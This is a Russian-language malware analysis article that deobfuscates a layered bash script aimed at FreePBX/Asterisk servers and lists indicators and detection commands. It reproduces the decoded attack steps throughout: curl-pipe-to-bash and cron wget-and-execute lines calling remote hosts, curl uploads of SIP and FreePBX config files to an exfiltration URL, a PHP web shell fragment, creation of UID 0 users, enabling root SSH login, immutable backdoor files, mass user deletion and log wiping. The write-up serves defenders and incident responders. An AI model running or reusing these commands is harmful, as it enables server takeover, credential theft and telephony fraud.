Мне в руки попался файл с расширением .sh и, конечно же, его пришлось изучить. Открываю файл — первая половина более-менее читаемая, а дальше начинается классика: Base64, ROT13 и еще немного Base64. Вроде ничего страшного. Декодируем, смотрим результат, радуемся жизни. Но не тут-то было. Автор скрипта решил сделать небольшой квест в стиле:
«А что если положить один скрипт внутрь другого скрипта, а потом еще один внутрь него?»
Получилась своеобразная матрешка: расшифровываем один слой, получаем следующий, потом следующий и так далее. Самое неприятное — после декодирования там оказалось еще достаточно много мусора. Пришлось чистить вывод, отделять реальные команды от повторов и уже потом собирать нормальную картину происходящего. В итоге получился довольно интересный набор: создание пользователей с UID 0, изменение SSH, установка persistence через cron, удаление пользователей, изменение паролей, кража конфигурации Asterisk/FreePBX и запуск дополнительных payload’ов с удаленных серверов. То есть перед нами уже не просто «скриптик на bash», а вполне полноценная постэксплуатация.
Первый слой
Самое интересное начинается практически сразу:
curl http://<IP>/x -ks | bash
Здесь автор даже не пытается сохранить файл на диск. Получаем содержимое с удаленного сервера и сразу передаем его в bash. Для анализа это неприятно, потому что содержимое может измениться в любой момент. Для атакующего — удобно. Для аналитика — еще один повод сказать: «не запускаем».
Если хочется посмотреть, что возвращает сервер, лучше сначала сохранить ответ:
curl -k http://<IP>/x -o payload.sh
а уже потом открывать файл и разбирать его статически.
Что делает скрипт
После того как я убрал обфускацию и мусор, поведение стало достаточно хорошо видно. Условно скрипт можно разделить на несколько этапов:
-
Создание backdoor-файлов в web-директории.
-
Создание пользователей с UID 0.
-
Изменение пользователей FreePBX.
-
Изменение конфигурации SSH.
-
Установка persistence через cron.
-
Удаление других пользователей.
-
Кража конфигурационных файлов Asterisk.
-
Запуск дополнительных payload’ов.
-
Попытка скрыть следы.
И вот тут начинается самое интересное.
Web Shell в FreePBX
Одна из первых вещей:
<?phpsession_start();if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == 'e2708f61bde041df72bbecbe31a232aa') { $_SESSION['looki'] = 'logged';}
PHP-код записывается в:
/var/www/html/admin/views/ajax.php
После этого файл копируется еще в несколько мест:
/var/www/html/h.php/var/www/html/rest_phones/ajax.php/var/www/html/admin/modules/h/ajax.php/var/www/html/admin/modules/fpbxphones/ajax.php/var/www/html/admin/modules/phones/ajax.php
Причем копируются не только ajax.php.
Создаются еще:
config.phpindex.php
в тех же директориях. Получается несколько точек входа. Если один файл удалят — остается другой. Классическая логика:
«Один бэкдор хорошо, а восемь — вдруг пригодятся».
Зачем нужен .htaccess
Дальше появляется:
RewriteEngine OnOptions +FollowSymLinksRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-lRewriteRule ^\s+ config.php [L]
И сохраняется это в:
/var/www/html/admin/views/.htaccess
Здесь злоумышленник пытается добавить дополнительный механизм обработки HTTP-запросов. Особенно интересна комбинация с большим количеством копий PHP-файла. То есть задача не просто «оставить PHP-файл». Нужно сделать так, чтобы до него было проще добраться через web-сервер.
Попытка защитить backdoor от удаления
Следующий интересный момент:
chmod +x /var/www/html/admin/views/ajax.php
и:
chattr +i /var/www/html/admin/views/ajax.php
Если +i не сработал:
chattr +a /var/www/html/admin/views/ajax.php
immutable делает файл неизменяемым и неудаляемым обычными операциями. То есть администратор может выполнить:
rm ajax.php
и получить вполне заслуженное:
Operation not permitted
Даже если права позволяют удаление. Для расследования это хороший IOC. Стоит проверить:
lsattr /var/www/html/admin/views/ajax.php
А теперь самое интересное — UID 0
В скрипте несколько раз встречается:
useradd -s /bin/bash -ou 0 -g 0 ...
Ключевой параметр здесь:
-u 0
UID 0 — это root. То есть создается пользователь, который технически имеет права root.
Например:
useradd -s /bin/bash -ou 0 -g 0 -p '...' newfpbx
и:
useradd -s /bin/bash -ou 0 -g 0 -p '...' xhimax
Это уже очень серьезный индикатор компрометации.
Проверить такие аккаунты можно:
awk -F: '$3 == 0 {print $1 ":" $3}' /etc/passwd
В нормальной системе ожидаем увидеть примерно:
root:0
Если там внезапно появились:
hima:0newfpbx:0supports:0
то это повод перестать делать вид, что «сервер просто странно себя ведет».
Массовое удаление пользователей
Дальше автор скрипта решил, что на сервере слишком много людей. И просто начал их удалять.
Например:
awk -F: '($3 == 0 && $1 != "root") {print $1}' /etc/passwd |xargs -n1 -I {} userdel -rf {}
Удаляются пользователи с UID 0, кроме root. Но на этом всё не заканчивается.
Следом:
for user in $(ls /home); do userdel -rf "$user"done
То есть удаляются пользователи из /home. Еще одна команда работает с /etc/passwd, /etc/shadow, /etc/group и /etc/gshadow. Там уже идет ручная зачистка записей пользователей. Это довольно грубый способ закрепиться. Но зато эффективный. Если на сервере были другие аккаунты администраторов — им может очень не понравиться следующий вход в систему.
Пароли
Дальше злоумышленник меняет пароли целого набора пользователей:
echo 'root:<PASSWORD>' | chpasswd -eecho 'asterisk:<PASSWORD>' | chpasswd -eecho 'freepbxuser:<PASSWORD>' | chpasswd -e
И создает дополнительные аккаунты:
useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' himauseradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' sugarmaintuseradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supportsuseradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supermaint
То есть атакующий создает несколько вариантов доступа. Причем практически каждый из них имеет root-права. Один аккаунт удалили? Не страшно. Есть еще несколько.
SSH тоже приводим в порядок
Следующий этап:
sed -i 's/^#Port .*/Port 22/' /etc/ssh/sshd_configsed -i 's/^Port .*/Port 22/' /etc/ssh/sshd_config
После этого:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
И затем:
systemctl restart sshd
Но самое интересное — разрешается root login:
sed -i 's/^#PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_configsed -i 's/^PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config
Получаем простой сценарий:
Internet | vSSH :22 | vroot
Почему бы и нет? Зачем усложнять жизнь ключами, sudo и нормальной моделью доступа, если можно просто разрешить root по SSH.
Persistence через cron
Вот здесь начинается любимая часть практически любого вредоносного Linux-скрипта.
*/1 * * * * wget http://<IP>/z/wr.php \-O /var/lib/asterisk/bin/zen2; \bash /var/lib/asterisk/bin/zen2
И еще:
*/1 * * * * wget http://<IP>/k.php \-O /var/lib/asterisk/bin/devnull2; \bash /var/lib/asterisk/bin/devnull2
И еще.
И еще.
И еще.
Практически каждый запуск происходит раз в минуту. Если один payload не сработал — через минуту попробуем снова. Если файл удалили — cron его скачает заново. Для проверки:
crontab -l
А также:
ls -la /var/spool/cron/
и:
grep -R "wget\|curl" /etc/cron* /var/spool/cron 2>/dev/null
Зачем столько одинаковых заданий?
Например:
zen2zen222zen3devnull2devnull312devnull212
Все они делают примерно одно и то же:
download → save → execute
С точки зрения аналитика это даже удобно. Когда злоумышленник сам оставляет столько IOC, работа становится немного приятнее. Хотя лучше бы он вообще ничего не оставлял.
Еще один persistence
Внутри создаваемого /tmp/test.sh встречается:
wget http://<IP>/k.php \-O /var/lib/asterisk/bin/devnull
и:
crontab -r
после чего добавляется новый cron:
*/3 * * * * chmod +x /var/lib/asterisk/bin/devnull;/var/lib/asterisk/bin/devnull
То есть автор скрипта не просто добавляет persistence. Он еще и чистит существующий crontab перед установкой своего. Это может привести к удалению легитимных задач.
Кража конфигурации Asterisk
А вот здесь становится понятно, почему вообще атакующего заинтересовал сервер. Выполняются запросы вида:
curl -F "file=@/etc/asterisk/sip_additional.conf" \http://<IP>/hima_data/index.php
Аналогично отправляются:
/etc/asterisk/sip_registrations.conf/etc/asterisk/manager.conf/etc/asterisk/pjsip.identify.conf/etc/asterisk/pjsip.transports.conf/etc/asterisk/pjsip.aor.conf/etc/asterisk/pjsip.auth.conf/etc/asterisk/pjsip.endpoint.conf/etc/asterisk/sip.conf/etc/asterisk/sip_custom.conf
Но это еще не всё. Отправляются также:
/etc/postfix/sasl_passwd/etc/amportal.conf/etc/asterisk/amportal.conf/etc/freepbx.conf/etc/issabel.conf/etc/elastix.conf
И вот здесь уже становится очевидно, что интересуют не только учетные записи Linux. Атакующий собирает конфигурацию телефонии и связанные с ней секреты.
Что потенциально можно получить из этих файлов
В зависимости от конкретной конфигурации там могут находиться:
-
SIP credentials;
-
пароли SIP-пользователей;
-
параметры регистрации;
-
настройки Asterisk Manager Interface;
-
SMTP credentials;
-
параметры FreePBX;
-
параметры подключения к базе;
-
настройки внешних SIP-провайдеров.
Для VoIP-сервера это уже очень неприятная история. Получив SIP-учетки, злоумышленник потенциально может использовать их для дальнейших атак или совершения несанкционированных звонков. А если сервер используется для телефонии компании, счет за такие эксперименты может оказаться значительно интереснее самого инцидента.
Еще один удаленный payload
В конце:
curl http://<IP>/z/post/root.php | sh
То есть сервер дополнительно получает еще один скрипт и сразу передает его shell. Получается цепочка:
initial .sh | +--> remote /x | +--> create users | +--> modify SSH | +--> cron persistence | +--> steal Asterisk configs | +--> remote root.php | +--> next stage
Поэтому анализировать только первоначальный .sh недостаточно. Основная логика может находиться на стороне C2.
Попытка удалить следы
Есть интересная строка:
sed -i '/restapps/d' /var/log/httpd/*
То есть из HTTP-логов удаляются строки, содержащие restapps. Это уже попытка скрыть активность. Также скрипт несколько раз удаляет собственные файлы:
rm -rf /var/www/html/admin/modules/freepbx_ha/license.php
И выполняет операции с:
licenselicense.php
То есть часть вредоносной логики сначала создается, потом переименовывается, затем снова восстанавливается. Для человека, который просто смотрит на файловую систему, это может выглядеть довольно странно. Для автора скрипта — видимо, всё идет по плану.
FreePBX как точка интереса
По путям и именам файлов хорошо видно, что скрипт ориентирован именно на системы семейства FreePBX/Asterisk.
Используются:
/var/www/html/admin//var/www/html/admin/modules//var/lib/asterisk//etc/asterisk//etc/freepbx.conf
Причем проверяются даже конфигурации других VoIP-систем:
/etc/issabel.conf/etc/elastix.conf
То есть автор явно рассчитывает на разные варианты VoIP-инсталляций.
IOC
Из разбора можно выделить следующие индикаторы.
IP-адреса
160.119.69.445.95.147.178
URI
/x/k.php/z/wr.php/z/post/root.php/hima_data/index.php
Подозрительные файлы
/var/www/html/h.php/var/www/html/admin/views/ajax.php/var/www/html/admin/modules/freepbx_ha/license.php/var/www/html/admin/modules/freepbx_ha/license/var/lib/asterisk/bin/zen2/var/lib/asterisk/bin/zen222/var/lib/asterisk/bin/zen3/var/lib/asterisk/bin/devnull2/var/lib/asterisk/bin/devnull312/var/lib/asterisk/bin/devnull212
Пользователи
newfpbxxhimaxhimasugarmaintsupportssupermaint
Что в итоге
Перед нами не просто обфусцированный bash-скрипт. Это цепочка постэксплуатации, в которой есть практически всё необходимое для закрепления на сервере:
Initial access | v remote payload | v Web Shell / PHP | v Root-level accounts | v SSH access | v Cron persistence | v Config collection | v Data exfiltration | v Next-stage payload
Самое интересное здесь даже не использование Base64 или ROT13. Обфускация в данном случае просто заставляет аналитика немного поработать. Главная проблема начинается после расшифровки:
-
создаются root-пользователи;
-
меняются пароли;
-
разрешается root-доступ по SSH;
-
открывается SSH в firewall;
-
устанавливается persistence через cron;
-
создаются web shell’ы;
-
изменяются файлы FreePBX;
-
удаляются другие пользователи;
-
чистятся логи;
-
наружу отправляются конфигурационные файлы Asterisk;
-
скачиваются и выполняются дополнительные payload’ы.
И вот тут становится понятно, зачем была нужна вся эта матрешка. Пока аналитик сидит и думает:
«Ну Base64, ROT13… ничего интересного».
Скрипт в это время уже мысленно прописывает себе root в резюме.
Вывод
При анализе подобных .sh я бы вообще не тратил много времени на попытки сразу понять весь код. Сначала лучше убрать обфускацию и мусор, затем построить цепочку выполнения:
download ↓execute ↓persistence ↓privilege ↓credential access ↓collection ↓exfiltration ↓next stage
Так гораздо быстрее становится понятно, что перед нами. А Base64, ROT13 и прочие «секретные» кодировки — это всего лишь упаковочная бумага. Главное — не начать распаковывать ее прямо на production-сервере.
ссылка на оригинал статьи https://habr.com/ru/articles/1080190/